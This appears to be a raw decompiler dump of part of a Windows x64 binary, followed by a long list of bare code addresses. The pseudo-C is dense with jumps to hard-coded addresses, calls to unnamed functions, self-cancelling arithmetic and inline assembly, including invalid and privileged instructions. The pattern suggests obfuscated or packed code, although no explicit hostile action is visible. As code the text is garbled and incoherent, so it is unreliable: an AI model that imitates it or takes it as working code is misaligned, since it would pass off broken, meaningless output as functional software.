				_t236 = 0x5 + _t362 - 0x16;
				if (_t236 < 0) goto 0xb1cab63b;
				GetMessageTime();
				E00007FF67FF6B1DA4010();
				E00007FF67FF6B1DA43C8();
				asm("jecxz 0x1a");
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t315);
				if (_t236 >= 0) goto 0xb1cab68e;
				if (_t315 - _t362 + _t362 != 0x5c) goto 0xb1cab698;
				if (0x57 - 0x61 < 0) goto 0xb1cab675;
				 *0xb1decf60 = r12d;
				 *0xb1da4008();
				E00007FF67FF6B1D3ACF4(_t315 - _t362 + _t362);
				if (0x57 - 0x61 >= 0) goto 0xb1cab6b6;
				 *0xb1decf60 = _t362;
				if (0x2f - 0x89c1950f0000003e < 0) goto 0xb1cab6d3;
				 *0xb1decf60 = 0x2f;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(0x89c1950f001418bf + _t362);
				E00007FF67FF6B1D3ACF4(0x89c1950f001418bf + _t362);
				if (0x2f - 0x89c1950f0000003e >= 0) goto 0xb1cab6fc;
				if (0x2f != 0x7d) goto 0xb1cab717;
				E00007FF67FF6B1D3ACF4(0x89c1950f001418bf + _t362 - _t362 + _t362);
				if (0x2f - 0x7d >= 0) goto 0xb1cab712;
				if (0x2f - 0x61 <= 0) goto 0xb1cab71e;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(0x89c1950f001418bf + _t362 - _t362 + _t362 - _t362 + _t362);
				if (0x2f - 0x61 >= 0) goto 0xb1cab72f;
				 *0xb1decf60 = _t362;
				 *0xb1decf60 = 0x20;
				_t331 = 0x89c1950f0014183d + _t362;
				if (0x20 - 0x2c < 0) goto 0xb1cab749;
				 *0xb1da43f0();
				E00007FF67FF6B1D3ACF4(_t331);
				if (0x20 - 0x2c >= 0) goto 0xb1cab76d;
				_t333 = _t331 - _t362 + _t362;
				if (0x20 - 5 < 0) goto 0xb1cab799;
				E00007FF67FF6B1D3ACF4(_t333);
				E00007FF67FF6B1D3ACF4(_t333);
				if (0x20 - 5 >= 0) goto 0xb1cab788;
				_t335 = _t333 - _t362 + _t362;
				 *0xb1decf60 = 0;
				goto 0xb1cab7f5;
				E00007FF67FF6B1D3ACF4(_t335);
				if (0x20 - 0x4c >= 0) goto 0xb1cab7aa;
				_t337 = _t335 - _t362 + _t362;
				if (0x20 - 0x89c1950f0000003e > 0) goto 0xb1cab7fb;
				if (0x20 - 0x89c1950f0000003e >= 0) goto 0xb1cab7f0;
				asm("sldt word [ebx]");
				asm("sti");
				 *0xb1decf60 = 0x3a;
				if (0x3a - 0x42 < 0) goto 0xb1cab7bf;
				 *0xb1decf60 = 0x37 + _t362;
				E00007FF67FF6B1D3ACF4(_t337);
				if (0x3a - 0x42 >= 0) goto 0xb1cab7eb;
				_t339 = _t337 - _t362 + _t362;
				if (0x20 == 0x62) goto 0xb1cab7b5;
				asm("adc al, 0x0");
				E00007FF67FF6B1D3ACF4(_t339);
				if (0x20 - 0x62 >= 0) goto 0xb1cab80c;
				_t341 = _t339 - _t362 + _t362;
				if (0x20 - 0x32 > 0) goto 0xb1cab858;
				E00007FF67FF6B1D3ACF4(_t341);
				if (0x20 - 0x32 >= 0) goto 0xb1cab822;
				if (_t341 - _t362 + _t362 != 0xd) goto 0xb1cab858;
				asm("adc al, 0x0");
				if (0x3a - 0x49 < 0) goto 0xb1cab82c;
				E00007FF67FF6B1D3ACF4(0x3a + _t362);
				if (0x3a - 0x49 >= 0) goto 0xb1cab84a;
				goto 0xb1cab8f8;
				E00007FF67FF6B1D3ACF4(0x3a + _t362 - _t362 + _t362);
				if (0x3a - 0x32 >= 0) goto 0xb1cab869;
				if (0x3a - 0x79 >= 0) goto 0xb1cab8de;
				_t182 = E00007FF67FF6B1D3ACF4(0x3a + _t362 - _t362 + _t362 - _t362 + _t362);
				if (0x3a - 0x79 >= 0) goto 0xb1cab88a;
				_t255 = (_t182 | r14d) - r15d;
				if (_t255 >= 0) goto 0xb1cab8a7;
				E00007FF67FF6B1D3ACF4((0x0000003a + _t362 - _t362 + _t362 - _t362 + _t362 & 0x8000007f) - _t362 + _t362);
				if (_t255 >= 0) goto 0xb1cab8a2;
				if (0x3a != 0x51) goto 0xb1cab8c9;
				E00007FF67FF6B1D3ACF4(((0x0000003a + _t362 - _t362 + _t362 - _t362 + _t362 & 0x8000007f) - _t362 + _t362 & 0x8000007f) - _t362 + _t362);
				if (0x3a - 0x51 >= 0) goto 0xb1cab8ba;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x46;
				_t258 = 0x46 + _t362 - 0x49;
				if (_t258 < 0) goto 0xb1cab877;
				 *0xb1decf60 = _t362;
				goto 0xb1cab904;
				_t188 = E00007FF67FF6B1D3ACF4((((0x0000003a + _t362 - _t362 + _t362 - _t362 + _t362 & 0x8000007f) - _t362 + _t362 & 0x8000007f) - _t362 + _t362 & 0x8000007f) - _t362 + _t362);
				if (_t258 >= 0) goto 0xb1cab8ef;
				r15d = 0x1b;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1DA4018();
				E00007FF67FF6B1DA43D8();
				 *_t362 =  *_t362 + (_t188 & r15d | r14d);
				return;
				__eflags = 0x3a - 0xc;
				if (0x3a - 0xc < 0) goto 0xb1cab91a;
				 *0xb1decf60 = 0x3a;
				 *0xb1decf60 = 0x65;
				__rcx = __rcx + __rbx;
				__eflags = 0x65 - 0x74;
				if (0x65 - 0x74 < 0) goto 0xb1cab915;
				E00007FF67FF6B1DA4010();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x20;
				if (0x3a - 0x20 > 0) goto 0xb1cab98d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab969;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x5f;
				if (0x3a - 0x5f >= 0) goto 0xb1cab98d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab97e;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x3a - 0x5f;
				__ecx = r12d & 0xffffff00 | 0x0000003a - 0x0000005f < 0x00000000;
				 *0xb1decf60 = 0x65;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab99d;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - __rsi;
				if (0x3a - __rsi <= 0) goto 0xb1cab9d9;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rsi = 0x8000007f;
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab9b3;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x1a;
				if (0x3a == 0x1a) goto 0xb1cab9db;
				E00007FF67FF6B1DA43D8();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab9ce;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x1a;
				r12d = r12d & 0xffffff00 | 0x0000003a != 0x0000001a;
				goto 0xb1caba32;
				__rsi = 0x8000007f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cab9eb;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x77;
				if (0x3a - 0x77 >= 0) goto 0xb1cab9f8;
				 *0xb1decf60 = __rbx;
				goto 0xb1caba38;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1caba08;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x7e;
				if (0x3a - 0x7e < 0) goto 0xb1caba19;
				E00007FF67FF6B1DA43D8();
				 *0xb1decf60 = __rbx;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1caba29;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x77;
				r12d = r12d & 0xffffff00 | 0x0000003a - 0x00000077 < 0x00000000;
				 *0xb1decf60 = __rcx;
				__rcx = 0;
				__eax =  *0xb1da43b0();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1caba50;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0xa;
				if (0x3a != 0xa) goto 0xb1caba91;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1caba65;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = 0x3a - 0x63;
				if (0x3a == 0x63) goto 0xb1caba91;
				__rcx = 0;
				__eax =  *0xb1da43a0();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1caba82;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x3a - 0xa;
				__ecx = r12d & 0xffffff00 | 0x0000003a == 0x0000000a;
				 *0xb1decf60 = 0;
				__rcx = 0;
				__eax =  *0xb1da43a0();
				 *__rbx =  *__rbx + spl;
				asm("invalid");
				asm("pop es");
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x3a - 0x4e;
				__ecx = r12d & 0xffffff00 | 0x0000003a == 0x0000004e;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x23;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cabad5;
				__rax = __rax - __rbx;
				__eax = __eax | r14d;
				__rax = __rax + __rbx;
				__eflags = __rax - 0x15;
				if (__rax != 0x15) goto 0xb1cabadf;
				__eflags = 0x23 + __rbx - 0x35;
				if (0x23 + __rbx - 0x35 < 0) goto 0xb1caba9e;
				E00007FF67FF6B1DA43C8();
				asm("str word [ecx+0x14146a3d]");
				 *__rbx =  *__rbx + __al;
				asm("sti");
				__eflags = 0x60 - 0x71;
				if (0x60 - 0x71 < 0) goto 0xb1cabaea;
				 *0xb1decf60 = 0x5b;
				__rax = 0x66;
				__rsi =  *(__rdx - 7) * 0x14470589;
				asm("adc al, 0x0");
				__rax = 0x65;
				asm("adc al, 0x0");
				__rax = 0x65 + __rbx;
				__eflags = 0x65 - 0x68;
				if (0x65 - 0x68 < 0) goto 0xb1cabb1e;
				 *0xb1da4008() = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabb41;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x22;
				if (0x65 - 0x22 > 0) goto 0xb1cabb94;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabb56;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = __eax - r15d;
				if (__eax - r15d <= 0) goto 0xb1cabb94;
				 *0x50 = __cl;
				 *0x1413F23D =  *((intOrPtr*)(0x1413f23d)) + __cl;
				 *__rbx =  *__rbx + __al;
				asm("sti");
				__eflags = 0x50 - 0x5e;
				if (0x50 - 0x5e < 0) goto 0xb1cabb60;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabb85;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = __eax - r15d;
				__ecx = r12d & 0xffffff00 | __eax - r15d > 0x00000000;
				 *0xb1decf60 = 0;
				 *__rbx =  *__rbx + spl;
				asm("invalid");
				asm("pop es");
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x70;
				if (0x65 - 0x70 >= 0) goto 0xb1cabbea;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabbbe;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x45;
				if (0x65 != 0x45) goto 0xb1cabbea;
				__rcx = 0;
				 *0xb1da43b0() = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabbdb;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x65 - 0x70;
				__ecx = r12d & 0xffffff00 | 0x00000065 - 0x00000070 < 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = 0x51;
				__eflags = 0x51 - 0x5d;
				if (0x51 - 0x5d < 0) goto 0xb1cabb99;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabc07;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x49;
				if (0x65 - 0x49 <= 0) goto 0xb1cabc27;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabc1c;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x49;
				r12d = r12d & 0xffffff00 | 0x00000065 - 0x00000049 > 0x00000000;
				goto 0xb1cabc5e;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabc37;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x65 - 0x10;
				if (0x65 - 0x10 >= 0) goto 0xb1cabc45;
				 *0xb1decf60 = r12d;
				goto 0xb1cabc64;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & __rsi;
				if (__eflags >= 0) goto 0xb1cabc55;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = __rax - 0x10;
				r12d = r12d & 0xffffff00 | __rax - 0x00000010 >= 0x00000000;
				 *0xb1decf60 = 0;
				__eax =  *0xb1da43f0();
				__rax = 0x9;
				asm("adc al, 0x0");
				__rax = 0x9 + __rbx;
				__eflags = __eax - r13d;
				if (__eax - r13d < 0) goto 0xb1cabc6f;
				__rsi = 0x35;
				 *0x12EB0589000021C8 =  *((intOrPtr*)(0x12eb0589000021c8)) + __al;
				__bl = __bl + bpl;
				__eflags = __edi - 0x27;
				if (__edi - 0x27 >= 0) goto 0xb1cabcca;
				__rcx = 0;
				__eax =  *0xb1da43b0();
				 *0xb1decf60 = 0x69;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x51;
				E00007FF67FF6B1D3ACF4(__rax) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1cabcc5;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0xa;
				if (0x9 - 0xa < 0) goto 0xb1cabc8e;
				__rsi = 0x35 + __rbx;
				 *0xb1decf60 = 0x35;
				__eflags = 0x35 + __rbx - 0x48;
				if (0x35 + __rbx - 0x48 < 0) goto 0xb1cabc87;
				 *0xb1decf60 = __rbx;
				E00007FF67FF6B1DA4020();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__edi = r14d;
				__rsi = 0xffffff80;
				asm("push es");
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				asm("movsd xmm6, [0x112d35]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags >= 0) goto 0xb1cabd73;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabd20;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0xf;
				if (0x9 - 0xf > 0) goto 0xb1cabd73;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabd34;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0x31;
				if (0x9 - 0x31 <= 0) goto 0xb1cabda1;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabd48;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0x33;
				if (0x9 - 0x33 < 0) goto 0xb1cabda1;
				E00007FF67FF6B1DA4010();
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabd62;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x9 - 0x31;
				__ecx = r12d & 0xffffff00 | 0x00000009 - 0x00000031 > 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1cabda1;
				 *0xb1decf60 = r12d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabd89;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				asm("movd xmm0, eax");
				__eax = r12d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r12d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x9;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabdb0;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0x4a;
				if (0x9 == 0x4a) goto 0xb1cabdd5;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabdc4;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x9 - 0x4a;
				__ecx = r12d & 0xffffff00 | 0x00000009 != 0x0000004a;
				 *0xb1decf60 = 0;
				goto 0xb1cabddb;
				 *0xb1decf60 = __rbx;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabdea;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				asm("movsd xmm0, [0x112bbe]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1cabe02;
				if (__eflags == 0) goto 0xb1cabe16;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051;
				if (__eflags >= 0) goto 0xb1cabe11;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x9 - 0x7a;
				if (0x9 - 0x7a >= 0) goto 0xb1cabe34;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x00000051 + __rbx + __rbx;
				if (__eflags >= 0) goto 0xb1cabe25;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__ecx = r12d;
				__eflags = 0x9 - 0x7a;
				__ecx = r12d & 0xffffff00 | 0x00000009 - 0x0000007a < 0x00000000;
				 *0xb1decf60 = 0;
				__eflags =  *((intOrPtr*)(__rbx + 0x1f)) - 0xffffff80;
				 *0xb1decf60 = 0x27;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1cabe5a;
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__eflags = __rax - 0x4a;
				if (__eflags <= 0) goto 0xb1cabe3b;
				__rax = 0x4e;
				_push(0);
				if (__eflags < 0) goto 0xb1cabe64;
				 *0xb1decf60 = 0x4e;
				__rax = 0x36;
				asm("adc al, 0x0");
				__rax = 0x36 + __rbx;
				__eflags = 0x36 - 0x3a;
				if (0x36 - 0x3a < 0) goto 0xb1cabe76;
				E00007FF67FF6B1DA4010();
				__rsi = 0x1f;
				__rax = 0x00000036 + __rbx & 0x4bbf3c73;
				 *0x36 =  *0x36 + __al;
				 *__rbx =  *__rbx + sil;
				__rsp = __rbp;
				_pop(__rbp);
				__eax =  *0xb1da43b0();
				 *0xb1decf60 = 0x27;
				__eflags = 0x27 + __rbx + __rbx - 0x4f;
				if (0x27 + __rbx + __rbx - 0x4f < 0) goto 0xb1cabe9a;
				__rsi = 0x1f + __rbx;
				 *0xb1decf60 = 0x1f + __rbx;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax - __rbx;
				__rax = __rax | 0xffffff80;
				__rax = __rax + __rbx;
				__eflags = 0x36 - 0x3d;
				if (0x36 - 0x3d >= 0) goto 0xb1cabe90;
				__rsi = 0xffffff80;
				__eflags = dil - 0xff;
				goto ( *__rbx);
			}

0x7ff6b1cab268
0x7ff6b1cab26f
0x7ff6b1cab276
0x7ff6b1cab278
0x7ff6b1cab27b
0x7ff6b1cab27d
0x7ff6b1cab284
0x7ff6b1cab28b
0x7ff6b1cab290
0x7ff6b1cab296
0x7ff6b1cab29c
0x7ff6b1cab2a4
0x7ff6b1cab2af
0x7ff6b1cab2b4
0x7ff6b1cab2b7
0x7ff6b1cab2c0
0x7ff6b1cab2ce
0x7ff6b1cab2cf
0x7ff6b1cab2d1
0x7ff6b1cab2d9
0x7ff6b1cab2e8
0x7ff6b1cab2eb
0x7ff6b1cab2ed
0x7ff6b1cab2f3
0x7ff6b1cab2f8
0x7ff6b1cab2ff
0x7ff6b1cab301
0x7ff6b1cab309
0x7ff6b1cab30e
0x7ff6b1cab312
0x7ff6b1cab318
0x7ff6b1cab320
0x7ff6b1cab327
0x7ff6b1cab329
0x7ff6b1cab32d
0x7ff6b1cab331
0x7ff6b1cab335
0x7ff6b1cab337
0x7ff6b1cab339
0x7ff6b1cab343
0x7ff6b1cab349
0x7ff6b1cab351
0x7ff6b1cab358
0x7ff6b1cab35a
0x7ff6b1cab35d
0x7ff6b1cab35f
0x7ff6b1cab367
0x7ff6b1cab373
0x7ff6b1cab37e
0x7ff6b1cab380
0x7ff6b1cab385
0x7ff6b1cab387
0x7ff6b1cab398
0x7ff6b1cab39e
0x7ff6b1cab3a6
0x7ff6b1cab3ad
0x7ff6b1cab3b2
0x7ff6b1cab3b7
0x7ff6b1cab3b9
0x7ff6b1cab3c0
0x7ff6b1cab3c6
0x7ff6b1cab3c8
0x7ff6b1cab3cd
0x7ff6b1cab3d4
0x7ff6b1cab3d9
0x7ff6b1cab3df
0x7ff6b1cab3e7
0x7ff6b1cab3f3
0x7ff6b1cab3f9
0x7ff6b1cab401
0x7ff6b1cab40d
0x7ff6b1cab413
0x7ff6b1cab41b
0x7ff6b1cab424
0x7ff6b1cab42c
0x7ff6b1cab430
0x7ff6b1cab434
0x7ff6b1cab438
0x7ff6b1cab43a
0x7ff6b1cab440
0x7ff6b1cab448
0x7ff6b1cab451
0x7ff6b1cab458
0x7ff6b1cab45c
0x7ff6b1cab463
0x7ff6b1cab469
0x7ff6b1cab46e
0x7ff6b1cab476
0x7ff6b1cab482
0x7ff6b1cab48d
0x7ff6b1cab48f
0x7ff6b1cab490
0x7ff6b1cab496
0x7ff6b1cab49e
0x7ff6b1cab4aa
0x7ff6b1cab4af
0x7ff6b1cab4b1
0x7ff6b1cab4b9
0x7ff6b1cab4bc
0x7ff6b1cab4be
0x7ff6b1cab4ce
0x7ff6b1cab4d0
0x7ff6b1cab4d2
0x7ff6b1cab4da
0x7ff6b1cab4ec
0x7ff6b1cab4f4
0x7ff6b1cab503
0x7ff6b1cab505
0x7ff6b1cab50a
0x7ff6b1cab50c
0x7ff6b1cab516
0x7ff6b1cab51c
0x7ff6b1cab521
0x7ff6b1cab528
0x7ff6b1cab52e
0x7ff6b1cab534
0x7ff6b1cab53c
0x7ff6b1cab543
0x7ff6b1cab547
0x7ff6b1cab549
0x7ff6b1cab54f
0x7ff6b1cab551
0x7ff6b1cab559
0x7ff6b1cab560
0x7ff6b1cab56a
0x7ff6b1cab570
0x7ff6b1cab578
0x7ff6b1cab57f
0x7ff6b1cab584
0x7ff6b1cab586
0x7ff6b1cab58e
0x7ff6b1cab595
0x7ff6b1cab59a
0x7ff6b1cab59c
0x7ff6b1cab5a4
0x7ff6b1cab5ab
0x7ff6b1cab5b0
0x7ff6b1cab5b2
0x7ff6b1cab5b8
0x7ff6b1cab5be
0x7ff6b1cab5c0
0x7ff6b1cab5c8
0x7ff6b1cab5cf
0x7ff6b1cab5da
0x7ff6b1cab5e0
0x7ff6b1cab5e8
0x7ff6b1cab5ef
0x7ff6b1cab5f1
0x7ff6b1cab5f9
0x7ff6b1cab5fd
0x7ff6b1cab601
0x7ff6b1cab605
0x7ff6b1cab607
0x7ff6b1cab60d
0x7ff6b1cab615
0x7ff6b1cab61e
0x7ff6b1cab62b
0x7ff6b1cab62d
0x7ff6b1cab631
0x7ff6b1cab633
0x7ff6b1cab633
0x7ff6b1cab634
0x7ff6b1cab63d
0x7ff6b1cab643
0x7ff6b1cab64b
0x7ff6b1cab652
0x7ff6b1cab657
0x7ff6b1cab659
0x7ff6b1cab65c
0x7ff6b1cab65e
0x7ff6b1cab664
0x7ff6b1cab66a
0x7ff6b1cab679
0x7ff6b1cab67b
0x7ff6b1cab67d
0x7ff6b1cab685
0x7ff6b1cab691
0x7ff6b1cab696
0x7ff6b1cab698
0x7ff6b1cab69f
0x7ff6b1cab6a5
0x7ff6b1cab6ad
0x7ff6b1cab6ca
0x7ff6b1cab6d7
0x7ff6b1cab6d9
0x7ff6b1cab6df
0x7ff6b1cab6e6
0x7ff6b1cab6eb
0x7ff6b1cab6f3
0x7ff6b1cab6ff
0x7ff6b1cab701
0x7ff6b1cab709
0x7ff6b1cab715
0x7ff6b1cab717
0x7ff6b1cab71e
0x7ff6b1cab726
0x7ff6b1cab743
0x7ff6b1cab749
0x7ff6b1cab74f
0x7ff6b1cab754
0x7ff6b1cab756
0x7ff6b1cab75c
0x7ff6b1cab764
0x7ff6b1cab76b
0x7ff6b1cab770
0x7ff6b1cab772
0x7ff6b1cab777
0x7ff6b1cab77f
0x7ff6b1cab786
0x7ff6b1cab791
0x7ff6b1cab797
0x7ff6b1cab799
0x7ff6b1cab7a1
0x7ff6b1cab7a8
0x7ff6b1cab7ac
0x7ff6b1cab7b7
0x7ff6b1cab7c3
0x7ff6b1cab7c6
0x7ff6b1cab7c7
0x7ff6b1cab7d0
0x7ff6b1cab7d4
0x7ff6b1cab7da
0x7ff6b1cab7e2
0x7ff6b1cab7e9
0x7ff6b1cab7ee
0x7ff6b1cab7f9
0x7ff6b1cab7fb
0x7ff6b1cab803
0x7ff6b1cab80a
0x7ff6b1cab80f
0x7ff6b1cab811
0x7ff6b1cab819
0x7ff6b1cab825
0x7ff6b1cab830
0x7ff6b1cab837
0x7ff6b1cab839
0x7ff6b1cab841
0x7ff6b1cab853
0x7ff6b1cab858
0x7ff6b1cab860
0x7ff6b1cab86c
0x7ff6b1cab877
0x7ff6b1cab881
0x7ff6b1cab88a
0x7ff6b1cab88d
0x7ff6b1cab88f
0x7ff6b1cab899
0x7ff6b1cab8a5
0x7ff6b1cab8a7
0x7ff6b1cab8b1
0x7ff6b1cab8c3
0x7ff6b1cab8c9
0x7ff6b1cab8d1
0x7ff6b1cab8d4
0x7ff6b1cab8d6
0x7ff6b1cab8dc
0x7ff6b1cab8de
0x7ff6b1cab8e6
0x7ff6b1cab8f8
0x7ff6b1cab8fe
0x7ff6b1cab904
0x7ff6b1cab90a
0x7ff6b1cab919
0x7ff6b1cab91b
0x7ff6b1cab91c
0x7ff6b1cab91f
0x7ff6b1cab921
0x7ff6b1cab927
0x7ff6b1cab92d
0x7ff6b1cab92f
0x7ff6b1cab932
0x7ff6b1cab934
0x7ff6b1cab93a
0x7ff6b1cab93f
0x7ff6b1cab94d
0x7ff6b1cab94f
0x7ff6b1cab952
0x7ff6b1cab954
0x7ff6b1cab957
0x7ff6b1cab959
0x7ff6b1cab95e
0x7ff6b1cab960
0x7ff6b1cab962
0x7ff6b1cab964
0x7ff6b1cab967
0x7ff6b1cab969
0x7ff6b1cab96c
0x7ff6b1cab96e
